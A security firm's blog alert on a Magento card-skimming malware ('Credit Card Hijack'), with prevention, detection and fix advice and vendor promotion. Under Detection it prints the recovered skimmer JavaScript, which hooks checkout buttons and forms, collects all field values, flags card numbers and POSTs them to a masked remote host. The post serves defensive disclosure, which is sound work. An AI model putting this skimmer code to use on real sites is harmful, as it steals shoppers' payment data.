logo.png
GET GDPR READY

Foregenix Blog

Benjamin Hosack

Magento Malware: Credit Card Hijack – Malicious Javascript Alert

Our forensic team have just wrapped up a forensic investigation on an e-commerce business that has had a considerable number of customer data stolen – including credit card data. This latest Magento malware attack involved a malicious Javascript – recently announced by Magento on the 16th November 2015.

Magento malwareThe malicious code has been called “Credit Card Hijack” and it is injected into Magento websites allowing attackers to steal customer payment data – including all key credit card details required to carry out a transaction.

How does it work?

The malicious Magento malware is uploaded to a vulnerable site – the vulnerability in the case we just completed was Shoplift (see our alert on Magento Shoplift from February 2015); however, over the last year there have been a significant number of breaches involving multiple attack vectors (Filesman, P.A.S, Phantom, compromised plugins and more).

With the malicious Javascript uploaded to the Magento website, every form field on the website is monitored. When payment card data is detected, it is encrypted and sent out immediately to a receiving email address.

How do you prevent, detect and/or fix this issue?

Prevention
  • Patch your website – make sure you are using the latest version of Magento. This will make it considerably harder to compromise your website.
  • File Change Monitoring – make sure you know exactly what changes are being made to your website every day. If changes are not recognised, they could be a strong indicator of attacker activity.
  • Web Application Firewall – if you are not yet using a WAF on your website, we would highly recommend you implement one asap. Especially if you not able to apply patches in a timely manner. If correctly configured, it will also filter out the vast majority of aggressive traffic from ever touching your website. If you need help with this, we offer a managed WAF through our FGX-Web Protect service.
  • Malware detection – daily checks for malware on your website will alert you to files that look suspicious – such as webshells, backdoors, harvesting malware and so on. If you need help, our FGX-Web website security solution includes on demand and scheduled malware checking for all clients.
Detection

FGX-Web will very soon be able to detect the malicious javascript, however, this is an example of the code recently found: 

+function validateCreditCard(s) {

+   // remove non-numerics

+   var v = "0123456789";

+   var w = "";

+   for (i=0; i < s.length; i++) {

+       x = s.charAt(i);

+       if (v.indexOf(x,0) != -1)

+       w += x;

+   }

+   // validate number

+   j = w.length / 2;

+   k = Math.floor(j);

+   m = Math.ceil(j) - k;

+   c = 0;

+   for (i=0; i<k; i++) {

+       a = w.charAt(i*2+m) * 2;

+       c += a > 9 ? Math.floor(a/10 + a%10) : a;

+   }

+   for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;

+   return (c%10 == 0);

+}

+var snd =null;

+window.onload = function () {

+   if((new RegExp('onepage')).test(window.location)) {

+       send();

+

+   }

+};

+

+function clk() {

+   var inp=document.querySelectorAll("input, select, textarea, checkbox");

+   for (var i=0;i<inp.length;i++){

+       if(inp[i].value.length>0) {

+       var nme=inp[i].name;

+       if(nme=='') { nme=i; }

+       snd+=inp[i].name+'='+inp[i].value+'&';

+       }

+   }

+

+}

+

+function send() {

+ var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");

+   for (var i=0;i<btn.length;i++){

+       var b=btn[i];

+       if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {

+           if(b.addEventListener) {

+               b.addEventListener("click", clk, false);

+           }else {

+               b.attachEvent('onclick', clk);

+           }

+       }

+   }

+f+   var frm=document.querySelectorAll("form");

+   for (var i=0;i<frm.length;i++){

+       if(frm[i].addEventListener) {

+           frm[i].addEventListener("submit", clk, false);

+       }else {

+           frm[i].attachEvent('onsubmit', clk);

+       }

+   }

+

+   if(snd!=null) {

+       console.clear();

+       var cc = new RegExp("[0-9]{13,16}");

+              var asd="0";

+       if(cc.test(snd)){

+                 asd="1" ;

+         }

+var http = new XMLHttpRequest();

+http.open("POST","https://************/*******”,true);

+http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

+http.send("data="+snd+"&asd="+asd+"&id_id=merchant.co.uk");

+console.clear();

+   }

+   snd=null;

+   setTimeout('send()', 150);

+}

Fix
  • Implement a solution like FGX-Web to protect your website.
  • Scan your website using WebScan – this will tell you the patching state of your website.
  • Apply all the patches.Magento website security scan
  • Update passwords – implement 2 Factor Authentication if possible.
  • Remove any unknown accounts.
  • Scan for malware using FGX-Web – if you get alerts, call our support team for help.

Review our blog - 11 steps to Improve your Website Security for more comprehensive list of security controls and simple steps you can take to improve your security.

All Foregenix FGX-Web clients have full support provided by our team, so if you are concerned about your website security, please don’t hesitate to contact us. 

TRENDING POSTS

Kirsty Trainer
"Key" to Secure Data - P2PE - Derived Unique Key Per Transaction (DUKPT)

Written by Andrew McKenna, PCI QSA, PCIP at Foregenix The encryption key infrastructure usually ...

Read More
Duncan Slater
Alert: Major UK Payment Service Provider iFrame Man-In-The-Middle Breach

The Foregenix Digital Forensics and Incident Response Team recently reported a man-in-the-middle ...

Read More

Cyber Security Insights

Jake Dennys
24/11/17 15:17

Black Friday Sees Website Traffic Increase by 200%

Black Friday is upon us and as I’m sure you know, it comes hand in hand with lucrative tech discounts from across the industry. For businesses ...

Read More

Richard Jones
17/11/17 09:39

Successfully implementing GDPR: Compliance and Awareness

The General Data Protection Requirement (GDPR) is essentially about privacy. It relies on cyber security controls to ensure that legitimately used ...

Read More

Richard Jones
02/11/17 10:33

GDPR – Keeping things simple.

  Type GDPR into Google and you will get just shy of 6 million results. Factor in the complexity of each and every article and it’s easy to see why ...

Read More

Richard Jones
31/10/17 10:27

Data Discovery: The only place to start with GDPR

To those new to GDPR, it may appear like a complex task for which there are so many actions it’s almost impossible to know where to start. I would ...

Read More

Kirsty Trainer
26/10/17 15:02

Improving Cybersecurity in the Contact Center: How to Reduce the Risk of a Breach  [Webinar]

  The negative impact of a data breach has wide reaching consequences, it’s not something that can be solved with a “Sorry” and a slap on the wrist. ...

Read More